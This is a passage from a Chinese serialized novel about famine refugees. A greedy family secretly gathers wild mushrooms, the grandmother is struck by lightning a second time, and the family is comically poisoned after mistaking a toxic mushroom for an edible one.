现在老大也有老二这个兆头了……钱婆子攥着八文钱,手指甲盖都捏得发白了,她猛地起身:“老头子,孙氏该敲打敲打了!她竟然怂恿铁柱藏粮食!” 夫妻俩是一起出去一起回来的,若不是孙氏说动,铁柱怎么可能让她把菌子藏包裹里! “藏粮食!?”赵老头一惊,藏粮食可不是个小事,就算是好年景,没分家背着家里人藏粮食被发现,也是要被拿出来说道的! “都是孙氏!孙氏就是个祸害!”钱婆子把自己的分析说了,赵老头听着,才从钱婆子的话里头知道,藏的不是米面,而是菌子。 就算是菌子,那跟粮食也没差了!现在啥吃的都没有,菌子可不就是粮食吗! 赵老头往炉子里一填柴,起身说:“等会回来好好说说老大,咱们还没分家呢!” “老大也是个耳根子软的……当初就不该听他的!听他的净娶了个祸害!”钱婆子恨铁不成钢,“要不是孙氏故意摔到水里让老大跳下去救她,老大什么样的媳妇娶不到!” “娶她一个串了八个妹妹两个弟弟的,还闹得老二跟咱们离心了!” 钱婆子丝毫没有反思,二房之所以跟老赵家离心,完全是因为她和孙氏联手抓赵宁宁卖钱。 那边的水烧开,里面放着的米树皮在水里翻腾,钱婆子用树枝做的筷子把米树皮捞出来,夹到碗里,给锅里重新换了水煮上。 第二遍水之后,米树皮原先的怪味基本上没有了,钱婆子连汤带树皮往自己碗里夹,顺带给老头分了一小口并着一大碗汤。 赵老头捧着碗里的热汤,一股若有若无的米香味勾起他的回忆,叹了口气,他说:“要是老二在就好了。” “老二在的话,弄到什么吃食,会第一个想到咱们……” 赵老头和钱婆子双双叹了口气,赵老头说:“天下母子哪有隔夜仇,如今五丫头也不在了,等老大他们把菌子弄回来,你拣些好的送去,慢慢地把关系缓和回来。” “那可是菌子!”钱婆子舍不得,“好年景都少吃的菌子!” 他们走的时候还有一小把之前晒的也带着,不等走出岭北府就吃完了。 “你还想不想要这个儿子了!”赵老头吹胡子瞪眼,他难得的硬气,“你想想,他们如今弄了两只牲畜呢!” “把关系缓和了,等再上路的时候,问他们要一只或借一只回来,咱们路上该省多少力气!” “下次遇见啥吃的,给老二再送送,等他松口,咱们再把四小子过继过去,不管断不断亲分不分家,他们家的马车啥的,不都还是咱老赵家的!” 赵老头自认自己想得很是通透,一番说教下来, 钱婆子缩缩头,她想起来之前说要把四小子过继给老二家,那周氏直接拿大刀追杀自己。 要是能送点菌子就把老二哄回来……那也不错。 俩人把米树皮汤喝光,碗丢锅里,等几人回来。 冒着雨,赵老大和孙氏走到原先发现菌子的地方。 把枯草扒拉开,底下的菌子还在,孙氏满脸喜色,“铁柱,咱们快些把这些菌子给摘了!这里离山洞近,别被其他人发现了!” “哎!”赵老大捋捋袖子,弓腰摘一个往怀里塞一个。 一小片菌子很快被他们摘完,孙氏往前头走走,惊喜地又发现一片。 只是这片菌子长得跟之前吃的不太一样。 孙氏蹲下来拧断一个,举着问:“当家的,你看这菌子是黄老帽吗?” 赵老大凑过去看,“这跟黄老帽差不多啊,就底下一圈白的,是长老了吗?” 王李村山上的菌子刚冒头就被摘光了,他俩还没见过长老的菌子呢! “咱们不是摘的有吗!”孙氏伸手从怀里掏出来一个黄老帽,跟这个“黄老帽”拿着一比,除了菌子柄上有一圈白白的边不一样以外,俩菌子长得一模一样。 “应该就是黄老帽没错了!”孙氏把它们都塞怀里,兴致勃勃地继续摘。 第69章 又被雷劈 这里是个小斜坡,没什么人会从这儿走,正方便他们摘! 孙氏和赵老大所经之地,连刚冒头的菌子都逃不过他们的手! 俩人塞得鼓鼓囊囊的,才随便从地上捡一些柴火往回走。 跟在他们后头的赵慧兰见到他们往回走,这才小心翼翼地顺着斜坡下去,滑到刚才爹娘摘东西的地方,全都是空荡荡的,啥都没! 赵慧兰坐在地上哭了一阵,想想早些回去再跟在他们后头,闹一闹也要跟着弄吃的,她这才从地上捞了几根枯树枝,匆匆往山洞走。 赵文远跟他爹娘差不多,也是找了一处长了菌子的地方,偷偷摘些菌子往回带。 曹柔安怀着他的孩子呢!只可惜这孩子运道不好,刚怀上就遇见了连天的灾祸,再往后又一直逃荒,他娘颠沛流离的,饭也吃不好,觉也睡不好。 赵文远一度担心曹柔安肚子里的孩子会不会流掉,好在曹柔安的身体争气,一路走来各样的苦头吃了个遍,肚子里的孩子愣是好好的。 只是曹柔安娇气,平日里能不走路就不走路,还要吃东西。 偶尔能在镇子上停留的时候,曹柔安还能匀出来个银疙瘩让他拿着去换点吃的。 赵文远也能跟着沾光。 自从走到这山上,他们小夫妻俩偷藏起来的粮食都吃光了,也是赵文远脑子灵活,这几年没白读书,想到山上下雨肯定有菌子,这才冒险出去找。 还真让他找到了! 赵文远胆小,只敢捡自己见过的菌子。因着要瞒着家里人,他每次也不敢捡多,少少地塞在怀里,拿回去让曹柔安藏起来。 赵老三更狡猾一些。 他压根不往山洞里拿,先是找了个地儿藏起来,攒的有一包之后,掏一点菌子当好处费,把包裹塞给队伍里一家爷孙让他们帮忙看着。 那爷孙能走到现在已是面尽米绝,有这种好事找上门,他们自是没有不答应的道理。 赵老三也不怕他们私吞自己的菌子不给,爷孙老的老小的小,要不是王李村的里正照顾着队伍里的人,他们怕不是都走不出岭北府。 赵老三找一会菌子便藏回去一波,最后拢一把柴火,往家里带。 他小动作最多,回去的也最晚,走到自家车架旁,见自家亲娘正板着脸坐在车头上,赵老三问:“娘!咋了!咱们不去找柴火了?” “找!找柴火!”钱婆子一下子没收住声,好在她也没把菌子的事给嚷出去。 让老三坐近一些,钱婆子把手里孙氏的包裹往地上一扔,没系紧的包裹皮一颠,里头大大小小的菌子哗啦啦地滚落出来。 钱婆子的话从牙缝里挤出来:“你瞧瞧!咱们老赵家什么时候养出来一个吃里扒外的!” 孙氏脸色一白。 钱婆子说话眼神虽盯着小叔子,和她当家的,但是说的就是她!那包裹,婆婆也知道是她的! “咱们王李村能走到这儿,全靠村里人团结着。”赵老头开始说起场面话:“咱们老赵家,应该也学学村里的为人处世,团结着,才能走得更长远。” 他跟老婆子一向如此,一个唱红脸,一个唱黑脸。 “这些我就当没看见了,接下来,咱们家有劲儿还得往一处使啊……不然还有这么远的路,光靠一个人单打独斗,也走不到。” 老头子那边说着,钱婆子一个个把人盯过去。 她也有看到大孙子怀里似乎塞了什么东西,但就那一点,想来也没几个菌子,钱婆子心里疼了一瞬,很快翻篇过去。 出去最久的老三,两脚都是泥,身上反倒是干干净净的,不枉老三是她平日里最喜欢的老小。 钱婆子欣慰地看了又看,看得赵老三都有些心虚。 老大家两口子,个个都低着头,一脸偷了鸡被抓包的样子,钱婆子有些恨铁不成钢,咬牙道:“想分家直说!我可不跟你们爹那样好说话,再有下次,吃食扣下来,人给我滚蛋!” 赵老大头勾的更低了。 他不想分家啊!他是老大,他要扛起家里大梁的!要是他跟老二那样被分出去,村里人一口一个唾沫都能把他给淹死! 钱婆子打一棒子,那边赵老头就给一个糖,最后让留曹柔安和六丫四小子在这里看东西,老大两口子带着大家伙去找菌子。 这次,连老三媳妇都得去! 钱婆子拖着发软的身体,跟着出去。 她怕她不跟着出去,万一孙氏和赵老大把菌子藏起来怎么办?! 刚走出洞口,天上一道闪劈在不远处,吓得钱婆子提起脚跟就要往洞口里走。 往回走了两步,钱婆子咬牙,转头钻进雨幕里。 比起被雷劈,她更怕被饿死! 一路上躲躲闪闪,钱婆子跟着老大两口子来到一处斜坡。 “娘,菌子就在这下头,这下头路滑,要不你别下去了?我跟孙梅下去就成。” 赵老大畏畏缩缩地说。 “那不成!采菌子又不只是在一处采,会越走越远的!”钱婆子坚持要下去,没法子,赵老大和赵老三一人一边,架着自家亲娘往坡上走。 肩膀上架着人,走路便深一脚浅一脚,赵老大一个没留意,踩中石头脚下一滑,好悬没把亲娘给扔下山坡。 赵老三力挽狂澜,一边抱着树一边扯着老娘,靠着手劲扯着,才没让她一下子跌到沟里去。 跟在后头的赵老头和孙氏吴氏手忙脚乱地把钱婆子给拉回来。 人回来,飞出去的魂半天才归位,钱婆子吓得心里扑通扑通,说什么也不跟着下去了。 没法子,赵老大和赵老三把她再送上去,钱婆子自个儿在顶上盯着他们,生怕哪个偷懒,怕哪个再私藏菌子。 跟着老大,赵老三摘起菌子毫不手软,一丛丛地往怀里塞,不一会这一片菌子便被他们摘了个精光。 赵老大和孙氏带着他们继续往前头走。 只要是沿着这个坡,多多少少都能找到些菌子。 这次出来钱婆子特意让他们把之前装粮食的袋子拿着,装满一袋子,他们便抽空送上来,钱婆子扯着袋子跟着他们往上挪。 不知不觉,他们挪到了山坡上头。 钱婆子也跟着走到了山头。 天上还在下雨,一阵一阵雷轰下来,钱婆子有些害怕。 “老——” 她张张口,想喊老三上来。 又怕老三被雷劈着,她想了想,喊:“二丫!二丫你上来提着袋子!” 她脚边已经放了两个大袋子了,钱婆子自己一个人扯着有些费事。 听见钱婆子在喊,赵慧宁不情不愿地爬到坡上,扯着一个袋子。 孙女上来陪着之后,钱婆子仍是有些害怕雷劈,她缩缩脖子,指挥赵慧宁去一边上揪野草过来,她要用野草垫着坐在坡边上。 这样有树遮掩着,好歹头顶的雨没那么大。 赵慧宁认命地去给她扯野草。 扯来一把塞过去,钱婆子拿着垫在地上,一屁股坐下去,扭了两下,她嫌有泥水渗上来,钱婆子张嘴吩咐:“二丫!你再去揪一些回来!” 赵慧兰深吸一口气,拍拍手上的泥水,去远些的地方揪。 刚转身没走几步,身后“噼啪——”一声巨响,赵慧兰捂着被这声声音吓得怦怦跳的小心脏,僵硬地回头去看—— 原本坐在松树底下的钱婆子,此刻正嘴歪眼斜地倒在树下,她脸焦黑,头发蓬起来,整个人还在冒烟! ——不好了!奶又被雷劈了! 赵慧兰吓得跌坐在地上,一边看,一边爬到坡边上,哆哆嗦嗦地喊:“不、不好了!!!奶被雷劈了!” 坡底下的人听见喊声,纷纷把菌子随手往身上一塞,朝坡上爬。 爬到坡上看到钱婆子身上的衣服都被雷劈得一个破洞连着一个破洞,赵老大腿一软,跪在地上大喊:“娘!!!” 后面跟着的两个妯娌也呆愣在原地,不知所措。 钱婆子都被雷劈过一次了……咋会又被雷劈! 吴氏悄悄看了一眼孙氏,心里想:婆婆卖了两次五丫,孙氏也卖了两次啊!咋不见孙氏被雷劈,难道婆婆干的事更那啥一点? 孙氏心里害怕得紧,第一次见钱婆子被雷劈,她还能骗自己说巧合,第二次见钱婆子被雷劈……她无论如何,都骗不了自己! 做坏事是真的会被雷劈的! 婆婆已经被雷劈够数了,接下来是不是……就轮到她了! 孙氏吓得一个激灵,一下子跪在地上,念念有词地祈祷。 赵老三大着胆子过去,伸手试试,自家老娘还有气儿! “快来!咱娘还有气儿!还有救!”赵老三一边喊,一边伸手试探着去扶。 不是他嫌弃自家亲娘,而是她这次被雷劈的实在是有些惨不忍睹……身上衣裳都被雷给劈烂了! 把钱婆子从树底下拖出来,吴氏才敢上去沾手,她去扶着婆婆的头,见孙氏还闭着眼一副请神的样子跪在那,气不打一处来。 “孙氏!快些过来扶咱娘!” 吴氏喊完,孙氏这才睁开眼,缩着头看看四处,小步跑到钱婆子旁边,伸手架起她另一边胳膊。 昏过去的人要比平常还要沉许多,她们俩架不起来一个昏迷的钱婆子,只能半拖着在地上走。 赵老三在前头带路,赵老头背着手在后头跟着。 一左一右,是提着两袋半菌子的赵老大和赵慧兰。 快走到山洞的时候,赵老头让孙氏把钱婆子被雷劈黑的脸给用雨水擦干净,再把她的头发顺一顺。 这样至少从外表看,钱婆子身上只衣裳破烂了些,别的跟常人无异。 几人怕村里人看见袋子里鼓鼓囊囊的会追问,老三老大去附近找了些干树枝给装起来,装作去捡柴火。 一行人浩浩荡荡地进山洞,很难不引起别人的注意,有人看到钱婆子双脚耷拉着在地上拖行,问:“赵老头,你家婆子咋了?” 赵老头一挥手:“嗐!她刚醒非要跟着出去捡柴火,人站不稳翻到沟里去了!待会还要给她找康大夫来看看,真是不省心……” 村民问完,也没说别的,等他们走之后,才跟旁边的弟兄蛐蛐:这哪是翻沟里去了!翻沟里哪是衣裳挂得破破烂烂,身上却没有伤口的! 怪哉怪哉! 俩弟兄对视一眼,福至心灵:莫不是又被雷劈了吧! 他们俩讨论了一会,谁家翻到沟里都晕过去了身上还不带伤口的,除非是刚滚下去头就被撞到——被撞头也不能头上一点伤口都没有啊! 就像是赵家五丫,晕过去的时候脑袋上那么大一个口子呢! 肯定是被雷劈了! 刚刚钱婆子过去的时候,他们还闻到了一阵焦臭味呢! 两人对视一眼,蛐蛐完之后,找别的看见钱婆子被拖过去的人去蛐蛐去了! 老赵家的人刚走到自家车架子旁边,洞里关于钱婆子又被雷劈的事已经传遍了! 把钱婆子放平躺在架子车上,赵老大赶紧去请康大夫过来号脉。 面对康大夫,赵老头可不敢扯谎,万一扯谎耽误大夫给老婆子治病咋整?! 他实话实说,听见钱婆子又被雷劈,康大夫沉默了一会。 ——造孽哟! 康大夫号完脉起身,捻捻胡子,目光深沉。 站在一边的人紧张地看着康大夫。 “人倒是没什么,看脉象只是被雷劈晕了。”康大夫也觉得奇怪,往常听说谁被雷劈,十有八到九个都是被雷直接劈死的。 钱婆子第一次能醒过来,第二次除了脉象有些弱,居然也没啥大事。 真是又幸运又不幸的。 队伍里没什么药草,康大夫也没给钱婆子开药方子,嘱咐他们有粮食的话给钱婆子弄点稀的喂下去。 赵老头往康大夫手里塞了一小兜蘑菇,亲自送着康大夫往回走。 刚才还在议论钱婆子被雷劈的村民都很有默契,看到老赵家的人就停嘴,蛐蛐声戛然而止。 等赵老头送完康大夫回来,钱婆子自己就爬了起来! 比第一次被雷劈恢复得还快! “哎呦——”钱婆子呻吟道:“我浑身疼啊——” 这次醒过来,感觉浑身都跟散架了一样,钱婆子想抬手,刚抬起来还不到一尺,又虚弱地放下去。 她这次连起都起不来了! 第70章 吃独食 钱婆子这次醒过来之后十分怕死。 活着一天赚到一天,死了可就什么都没有了! 她醒来之后,让孙氏和吴氏扶她坐起来,不知道这次怎么回事,起来之后钱婆子浑身疼,家里连个像样的被褥都没有,自然也没法给她垫着。 钱婆子让赵慧兰去外头给她扯点草烘烘,这样她好垫在身下。 赵慧兰正发愁找什么借口出去,听奶奶这样说,她忙不迭地答应,出去之后顺着刚才捡菌子的地方,试探着滑下到坡下头。 下去之后,赵慧兰摸摸索索地找了一阵子,才在一棵树底下找到了几朵菌子。 看一眼是家里人常吃的黄帽菌,赵慧兰抓起来塞到怀里,沿着坡底在树底下又找一阵子,才找到了两丛菌子。 怕带回去被钱婆子发现,赵慧兰从怀里扯出一个她偷拿出来的布袋子,把菌子往里头倒腾。 全倒进去之后,赵慧兰小心把装着菌子的布袋给藏到山洞附近的灌木丛里。 做好掩饰之后,她这才去给钱婆子扯野草。 找到一处野草茂盛的地方,赵慧兰扯下几把,抱着一大丛一起往回走。 回到山洞,钱婆子骂她:“懒骨头上身,扯点野草都要磨叽半天!你上哪扯去了这么久才回来!” 赵慧兰勾着头小心编瞎话:“洞口旁边点都被村里人扯走了,我只能去远一些的地方找。” 说着,她把怀里水哒哒的草放在地上,小心避开火堆。 钱婆子不高兴,又发作不出来。 洞口外天色渐晚,今天不适合再出去找菌子。 只能明天再做安排,钱婆子忍着疼艰难翻了个身,交代孙氏:“孙氏,天色不早了,你去煮点米树皮,早点吃了歇下,明天还要出去。” 孙氏:“哎!” ——明天还能出去捡菌子! 孙氏头脑简单,钱婆子说啥她干啥,也没想今天捡了一堆菌子为啥不让煮点吃,高高兴兴地去煮米树皮去了。 她在那边煮树皮,这边出去的几个人凑在火堆旁边烤火,等米树皮煮好,衣服也烘得差不多了。 一人一碗热腾腾难吃的米树皮汤,老赵家的人沉默地吸溜着。 吃吧!好歹能填填肚子。 钱婆子没有吃,她胳膊没力气又疼,要等孙氏吃完喂她。 一伙人吃完,孙氏让赵慧兰把锅拿到洞口去刷一刷,自己端着晾的差不多的米树皮汤去找婆婆。 米树皮喂到嘴边,钱婆子咬了一口,差点没吐出去。 她都忘了,家里煮米树皮为了省事都是只煮一遍的。 晌午她自己煮的,是过了一遍水的,苦味和怪味几乎没有。 但这是吃食,钱婆子也没说什么,皱着眉把米树皮给吃了,汤说什么都不喝。 吃下去没一会,她又觉得肚子咕咕叫。 赵慧兰已经把陶锅刷好端了回来,正在给钱婆子翻动地上烘烤的野草。 “慧兰。”钱婆子小声招呼,“你去把今天摘的菌子拿过来。” 放下手里的草,赵慧兰起身:“拿来做什么?” “给我煮几个。”钱婆子说:“放点盐。” 听到奶奶说要煮菌子吃,赵慧兰咽了口唾沫,“奶,要煮多少?” 煮菌子多好吃啊!她好久都没有吃过菌子了!更别说是这种刚摘的,正新鲜的菌子! 逃荒这么久,她连吃点像样的东西都难,只能日日混个水饱,要是奶大发慈悲,让多煮一些的话……赵慧兰心里带着期盼。 “煮……”钱婆子犹豫了一下,看看两个儿子和几个孙娃子,个个嘴上不说话,实则偷偷竖起耳朵注意着这边的动静。 今天摘了这么多,拿出来几个吃吃也行! “按人头,每个人煮一个,给我多煮三个吧。”钱婆子自认大发慈悲。 赵慧兰答应一声,她刚拿起锅,一边吴氏把锅从她手里拿过去,小心避着其他人去架子车后头重新点了一个火堆。 吃独食嘛!当然要避着点村里人! 重新添水把陶锅烧上,孙氏从袋子里数出十四个菌子。 想着婆婆好不容易让大家伙都放开吃一次,她特意挑大的菌子煮。 这菌子是好不容易摘的,孙氏连菌柄都舍不得去,用手拍拍上面沾到的泥水,洗都不用洗,反正要焯水,她直接给丢到锅里添水。 煮好一次,孙氏把菌子捞出来,偷偷摸摸地端着到洞口外头倒掉,折回来重新加水,这次煮的时候她给里头加了点盐。 盐是百味之首,一加进去,山洞里开始弥漫起一股若有若无的鲜香味道。 离得近的王小花和她娘挨得近,那香味简直从四面八方将她们给包裹住了。 抱着娘的胳膊,王小花小声说:“娘,好香。” 话说到一半,她嘴里不自觉地开始分泌口水。 逃荒出来这么久,她们娘俩好久都没吃像样一点的东西了。 紧紧怀里瘦弱的女儿,王雁说:“小花乖,娘明天……给你煮面糊糊喝。” 袋子里还有一小碗杂粮面,够给小花煮个几次的糊糊喝的。 王小花把头埋进她娘怀里,闷声道:“娘,我不吃,留着吧。” 摸摸女儿的头,王雁心里叹了口气。 小花和她都好些天没吃什么像样的东西了,现在队伍里大部分人吃的都是米树皮混面糊糊。 这还是条件好一点的。 像是老赵家,人口多,东西又被收走,这些天全吃的树皮。 王雁离得近,看老赵家各个人的脸上都挂不住仅剩的一层薄肉。 ——不对,今天这股味道,好像就是从老赵家传来的! 王雁翻了个身,悄悄打量着旁边的赵家人。 本该是睡觉的时间,他们全都凑在一块,围成一圈。 应该就是他们家在煮东西没错了!是在煮些什么?怎么这么香! 王雁闻着闻着,咽了口唾沫。 ——他们之前带回来的那个大包裹里头,难道装的是吃的东西?! 闭上眼,小花娘仔细分辨空气中的香气,有点像炖鸡汤……也有点像菌子,对!就是菌子! 下雨这么多天,外头应该是有菌子的! 王雁猜中了。 那边,钱婆子催促:“好了吧好了吧?盛出来给我尝尝!” “我看见有人闻着香味都起来了,赶紧把火熄了!” 水才烧开还没一会,吴氏还想再煮一下,钱婆子一催,她只能悻悻把火堆熄灭。 十个人围着熄灭的火堆,眼巴巴地瞧着中央的锅。 孙氏把吴氏挤开,掌着大勺给几人分餐。 碗不够,赵慧兰只能眼巴巴地瞧着他们几个先吃,自己在锅边等碗空出来。 钱婆子可不会等第二批再吃,让孙氏给自己盛出来,让赵慧兰喂,顾不得烫,她张嘴咬下去。 鲜嫩的菌子稍稍带着一丝韧劲儿,她一口咬下去,又脆生生地咬断在嘴里。 鲜!香!烫嘴! 在嘴里来回颠倒几下,钱婆子一口吞下,如同无底洞的胃才感觉到稍稍有了一丝慰藉。 “好吃!好吃!”钱婆子小声说:“再给我吃一口!” 赵慧兰夹着菌子喂她。 四个菌子很快被钱婆子吃下,连汤都被她喝完了。摸摸肚子,钱婆子舒爽地感叹道:“真好啊……我老婆子能吃到这个,死都无憾了!” 一边正在品菌子汤的赵老三放下碗,说:“娘,你怎么能说这话呢!等明儿,我去多摘一些!回来让您吃个够!” “是啊娘!明天你就在这里好好休息,我们几个出去!给你摘得多多的!”赵老大拍拍胸,放下豪言壮语。 俩儿子表完心意,熨帖的钱婆子似乎喝了二斤美酒一般晕晕乎乎的。 “好!都是好孩子!”钱婆子难得笑呵呵的,赵老三又一通吹捧,美得钱婆子“咚”一声往后躺下。 倒下的时候她还在想:咦?怎么有这么多长了腿的菌子在往这边跑? 钱婆子还以为自己看错,费劲儿伸手揉揉眼,没错啊!好些个黄老帽倒腾着细细的两条腿,千军万马一般往这边跑。 ——哈哈哈,是老天爷开眼了!降福了! “来来!都往我怀里来!” 钱婆子说着,还伸手往天上拢,拢了几下,她张大嘴看着天:“哎呦!怎么开始下起米来了!” “老大老三!快!快拿盆子接米啊!”钱婆子急道:“一会落地上沾上土了!” “什么米?”赵老大放下碗快步走到架子车旁边,顺着老娘的目光往天上看。 黑黢黢的洞,只有石笋在滴答滴答地滴水。 ——啥也没啊! “你瞎了!”钱婆子骂完,哎呦哎呦叫唤起来:“快快!开始下银子了!” 赵老大又看看天,仍旧是山洞。 ——娘是不是被雷劈傻了! 他只敢在心里猜测,不敢说出口。 一旁的赵老三回味过来,“大哥,娘她好像不太对劲!” 孙氏手里的空碗掉在地上,看着眼前的空地嘿嘿傻笑起来:“大饼!好大的饼!” 那边钱婆子还没消停,这边孙氏又开始喊起来。 赵老三头疼:“大哥!你快看看大嫂!” 孙氏往前一扑,摔了个狗啃泥,她抓着子虚乌有的“大饼”,张大嘴咬下去,津津有味地躺在地上吃起来。 吴氏吓得站起来,走到赵老三旁边,“老三,这、这是怎么了!” “她们是不是中邪了!” 话音刚落,一边的赵老头开始往前头瞅,也不说话,就直直地站在那往前头瞧。 吓得吴氏直接把头埋进赵老三怀里,赵老三的声音在她头顶响起:“秋桂,你有没有看见,好些个粮食袋子在前头堆着!” 吴秋桂吓一跳,忙从自家男人怀里挣脱出来,再一看,地上放了好些菌子,菌子正一股一股地往外冒,几乎要把洞口给淹没了! “娘!娘!有小人抓我!”赵思夏手里的碗掉在地上,跌跌撞撞地朝自家娘跑去。 凑着孙氏的碗只吃了一口菌子的赵谦,被自家爹娘和大哥群魔乱舞的样子吓得直哭,唯一清醒的赵慧兰慌张地看着家里人。 ——这是怎么了! ——爹娘和爷奶,这是怎么了! 还是曹柔安见识多,稳住心神后,曹柔安说:“二丫!快去喊康大夫过来!他们怕不是吃菌子中毒了!” “之前我听说有人吃错菌子中毒,就是这样胡言乱语的!” 曹柔安的话让赵慧兰稍稍回神,赵慧兰回头看,曹柔安倒是没事,“嫂子,你没吃菌子?” “嗯,碗不是不够吗。”曹柔安抚着肚子,心里一阵后怕,刚才赵文远本想着让她先吃的,她嘴都凑到碗边上了,没由来的闻到这味道有些犯恶心,差点没吐。 于是就没吃,幸好没吃,逃过一劫。 曹柔安庆幸地抚着自己的肚子。 赵慧兰穿过人群,去找康大夫。 康大夫被叫起来的时候很无奈。 老赵家的两天找了三次他了!就算是同村的,这次也必须要收诊金! 等走到了地方,康大夫这才觉察出不对。 老赵家的人个个都好好的,只是看起来有些——疯癫? 钱婆子从车架子上要跳下去,赵老头在地上爬,赵老大赵老三一边跳一边笑,曹柔安在一边吓得尖叫,还是旁边的村民看见情况不对,过来帮忙按住她。 也不知钱婆子哪来的力气,三个人按一个婆子都要按不住。 地上,孙氏不知道从哪捡了一个大石头一直在啃,啃得嘴都磨破皮流血还不停。 旁边的村民想从她手里拿回来,抢都抢不回来! 更不用说其他几个人,各有各的怪。 “这、这……”康大夫目瞪口呆,“这怕是要找道士来看,我只是个学艺不精的大夫啊!” “康大夫!”曹柔安急急地跺脚,“我夫君他们是中毒了!中了菌子的毒!” “菌子?”康大夫一想,确实!今天给钱婆子看过之后,还被塞了一袋新鲜的菌子。 他们家的人看了稀罕的不行,舍不得吃新鲜的,放在火堆旁边想着烘干了在路上慢慢吃。 ——还好没来得及吃。 康大夫一阵后怕,要是不小心吃了毒菌子,他这个队伍里唯一的赤脚大夫倒下,可没人给他看病! 既然不是中邪,康大夫让村民给按住赵老头,先给赵老头号脉。 第71章 解毒 给赵老头看完,康大夫又给其他人看。 轮番看过来,他脸色凝重地对曹柔安和赵慧兰说:“确实是中毒了,得把肚子里的东西给催吐出来,再喝点绿豆……再多喝点水。” 要是有草药,还可以给他们开一副药方出来煮一煮喝,康大夫摇头,“得尽快给他们催吐,否则会伤脑子。” 曹柔安喝赵慧兰双双惊呆。 谁能想到吃个菌子还能吃成中毒! 中毒的还都是家里的劳力,要他们全都变成傻子……曹柔安打了个寒战,她一个怀孕的妇人和一个十来岁的小姑子可没能力拖着这么多人继续逃荒。 里正和村长听到动静也赶了过来,他们赶过来的时候,康大夫刚讲完如何催吐。 一是土方子,灌金汁,二是用手去扣嗓子眼。 灌金汁又恶心又脏,曹柔安只听康大夫说了那么一下,捂着嘴就到后头吐去了。 催吐的重任落在赵慧兰身上。 她先去掰自家亲娘的嘴,把手伸进去,摸来摸去找不到要抠哪里,反倒被咬了一口,手指登时被咬出两个血洞。 康大夫在一边看得心急,指点道:“想想你咽东西的地方!嗓子眼!” 赵慧兰用手指一抠,抠到孙氏的嗓子眼,孙氏也顾不得她那比人还大的大饼了,哇的一声歪头就是吐。 赵慧兰眼疾腿快,一个闪身躲过,没被吐到身上。 有了第一个人的经验之后,剩下几个由村里人给按着,她挨个给家里人催吐。 老赵家这边弥漫着一股怪味。 围观的村民受不住走远了一些。 里正带着康大夫走到洞口散气,康大夫叹气:“应该是找到菌子之后没分辨,不管有毒的还是没毒的全都吃了。” 里正:好消息,附近有菌子。 坏消息,有的菌子有毒。 不管怎么说,村里人可以在附近找吃的东西了。 看热闹的村民听说老赵家的人是吃菌子中毒闹的,回去之后心思开始浮动起来。 他们吃菌子中毒的! 附近有菌子! 明天去找! 村里先发现菌子没声张的几家对赵家又恨又讨厌。 本来可以闷声发大财的!自家先囤够一些再跟村里人说也不迟,被老赵家这么一闹,村里人都知道附近有菌子了! 明天得早点起来去找菌子,否则附近的菌子被捡光,他们就要去更远的地方了! 外头还打着雷呢! 由于老赵家这边味道实在难闻,小花娘带着王小花挪了住处,直接给挪到周家旁边了。 各个溶洞虽相连,有大大小小的石笋挡着,这边没有什么味道。 安顿下来之后,小花娘拉着小花赶紧休息。 明天,她也要去找菌子! 这一夜赵慧兰都不知道自己怎么过去的。 催吐之后家里人的症状减轻了一些,但钱婆子还是疯疯癫癫的。 好在她没有力气再往车下跳了,曹柔安在一边烧水,赵慧兰挨个给喂过去。 到后半夜的时候,吃得少的几个才消停,从群魔乱舞变得开始哎呦哎呦喊叫。 他们肚子疼,上边肚子疼,小肚子也疼。 孙氏回过神后,捂着肚子也顾不得外头下雨还是黑天,直接冲出去去拉肚子。 回来路上踩到好几个睡觉的村民,惹得其他人对赵家人意见颇大。 回来之后,孙氏整个人像是被抽空了力气一般,整个人虚弱地倒在地上。 赵慧兰又是一阵收拾。 熬到天亮,除了钱婆子,赵家的人都醒过来了。 对着地上一摊一摊的晦物,吴氏险些又贡献出一摊来。 捂着嘴,她让赵老三把架子车给拉远一点。 老赵家整个挪了个地儿,路过这里的村民没留意这里之前有人住过,差点一脚踩到晦物上,气得去里正那里告状。 无奈,里正找到赵老大,让他把他们造出来的地方给处理一下。 赵老大借铲子把家里人吐的地方给用土埋起来,村里人骂骂咧咧走远了。 等赵家人想到去捡菌子的时候,发现洞里的人好似少了一半。 走到洞口,赵老大傻眼了。 外头不知道什么时候出去的村民,扛了一大包菌子正往回走呢! “当家的、他们!他们怎么能抢我们的菌子!”孙氏气得嘴唇发抖。 “这菌子上又没写你们的名字,你叫一声‘老赵家的菌子’试试,看它应不应声!” 村民没好气地用袋子挤开他们,朝洞内走。 孙氏看着那人的背影,袋子几乎把人都遮住了,她着急道:“咱们也快些去吧!不然附近的菌子就被捡光了!” 赵家还能动的几人快步走到昨天去捡菌子的坡,往底下一看:人头攒动的,人比菌子还多! 只能换个地方,赵家的人好不容易找了一个小土包寻摸到一丛菌子,很快有村里人跟过来,在土包附近开始捡菌子。 赵家的人也不能说不让他们捡,只能加快自己的速度,拼了命的捡。 刚中过菌子的毒,他们几个手脚酸软,再加上早上也没吃东西,捡了半天赵老大就有些头晕。 为了尽可能多捡一些菌子,他咬牙坚持住,一口气捡到快天黑,他们才拖着两袋没装满的菌子往洞口走。 赵慧兰担心自己藏在外头的菌子,快走到洞口的时候找了个借口溜走,绕道到自己藏菌子的地方,伸手往灌木丛里一摸。 ——菌子没了! 赵慧兰还以为是自己记错了地方,换了几个地方找,还是没有。 ——真的没了! 又找一会,实在是找不到,赵慧兰才煞白着脸往回走。 山洞内,里正正召集村民,让村里几个捡菌子老手给大家伙讲哪些菌子能吃,哪些不能吃。 路过的时候赵慧兰听了一耳朵。 “毒老帽跟黄老帽长得很像,区别就是菌子柄上那圈白的……” 和黄老帽长得很像,就是柄上的那圈白色的……赵慧兰立马想到,昨天晚上他们煮的菌子里有几个好像就是这样! 因为孙氏舍不得摘菌柄,所以孙氏盛汤的时候她才能看到! 原来是因为吃了这个中毒,又是因为中毒,菌子的事才会被村里人知道。 这下好了,附近的菌子都被村里人抢光了!连她偷藏的菌子也不知道被谁给摸走了! 赵慧兰气得眼圈都红了。 里正怕村里人吃菌子再吃出一家像老赵家那样的,再三叮嘱,说看到不认识的菌子先放一边,带回来确定能吃了再吃。 一天捡完,收获最少的也能捡到一袋,辨认过都是能吃的菌子之后,夜间的山洞里到处都是煮菌子的香气。 宁爸宁妈这里,宁妈看着一包菌子有些无奈。 他们家甚少吃这些,宁妈更多是用菌子炖汤。 “要不先放着吧。”宁爸把菌子摊开,往火堆旁边放,“还可以晒干磨成粉,我之前刷短视频,看见有人用蘑菇做味精也能增鲜呢!” “先弄干放起来吧,说不能以后还吃得上。”宁妈点头。 